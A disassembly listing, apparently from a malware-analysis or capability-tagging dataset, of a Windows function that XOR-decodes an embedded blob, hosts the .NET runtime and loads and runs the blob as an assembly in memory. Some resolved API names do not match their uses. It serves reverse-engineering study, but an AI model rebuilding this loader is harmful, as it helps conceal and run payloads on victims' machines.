Function at 0x140001000
Capabilities:
Encode data using xor
Load windows common language runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xb8
xor r14d, r14d
mov eax, r14d
movdqa xmm2, xmmword [0x140013450]
lea rbx, section..data
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx + 0x10], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx + 0x20], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx + 0x30], xmm1
add rax, 0x40
cmp rax, 0x1200
jb 0x140001030
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x51]
lea rdx, [0x140013380]
lea rcx, [0x140013390]
call sub.mscoree.dll_CLRCreateInstance
lea r8, [rbp - 0x39]
lea rdx, [0x1400133a0]
lea rcx, [0x1400133b0]
call sub.mscoree.dll_CLRCreateInstance
lea r8, [rbp - 0x31]
lea rdx, [0x1400133c0]
lea rcx, [0x1400133d0]
call sub.mscoree.dll_CLRCreateInstance
mov qword [rbp - 0x61], r14
mov rcx, qword [rbp - 0x51]
mov rax, qword [rcx]
lea r9, [rbp - 0x61]
lea r8, [0x1400133e0]
lea rdx, str.v4.0.30319
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x61]
mov rax, qword [rcx]
lea rdx, [rbp + 0x67]
call qword [rax + 0x50]
mov qword [rbp - 0x59], r14
mov rcx, qword [rbp - 0x61]
mov rax, qword [rcx]
lea r9, [rbp - 0x59]
lea r8, [0x140013400]
lea rdx, [0x1400133f0]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x59]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov qword [rbp - 0x69], r14
mov rcx, qword [rbp - 0x59]
mov rax, qword [rcx]
mov qword [rbp - 0x69], r14
lea rdx, [rbp - 0x69]
call qword [rax + 0x68]
mov qword [rbp + 0x7f], r14
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x140001301
mov rax, qword [rcx]
mov qword [rbp + 0x7f], r14
lea r8, [rbp + 0x7f]
lea rdx, [0x140013438]
call qword [rax]
mov qword [rbp + 0x6f], r14
mov qword [rbp - 0x49], 0x1200
mov ecx, 0x11
lea r8, [rbp - 0x49]
mov r15d, 1
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rdi, rax
mov qword [rbp - 0x41], r14
lea rdx, [rbp - 0x41]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov r8d, 0x1200
mov rdx, rbx
mov rcx, qword [rbp - 0x41]
call fcn.140011470
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rbx, qword [rbp + 0x7f]
test rbx, rbx
je 0x1400012f6
mov rax, qword [rbx]
mov rsi, qword [rax + 0x168]
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x1400011f1
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rbp + 0x6f], r14
lea r8, [rbp + 0x6f]
mov rdx, rdi
mov rcx, rbx
call rsi
mov qword [rbp + 0x77], r14
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000130c
mov rax, qword [rcx]
mov qword [rbp + 0x77], r14
lea rdx, [rbp + 0x77]
call qword [rax + 0x80]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], rax
mov word [rbp - 0x29], r15w
mov ecx, SafeArrayDestroy
mov r8d, r15d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rbx, rax
lea rcx, str.salut
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x14000130c
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x128]
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 7], xmm0
movsd xmm1, qword [rbp - 0x19]
movsd qword [rbp + 0x17], xmm1
lea r9, [rbp - 0x11]
mov r8, rbx
lea rdx, [rbp + 7]
call r10
nop
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x1400012b6
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x1400012c6
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x7f]
test rcx, rcx
je 0x1400012d6
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x1400012e6
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
add rsp, 0xb8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.140001350
nop
mov ecx, 0x80004003
call fcn.140001350
nop
mov ecx, 0x80004003
call fcn.140001350
int3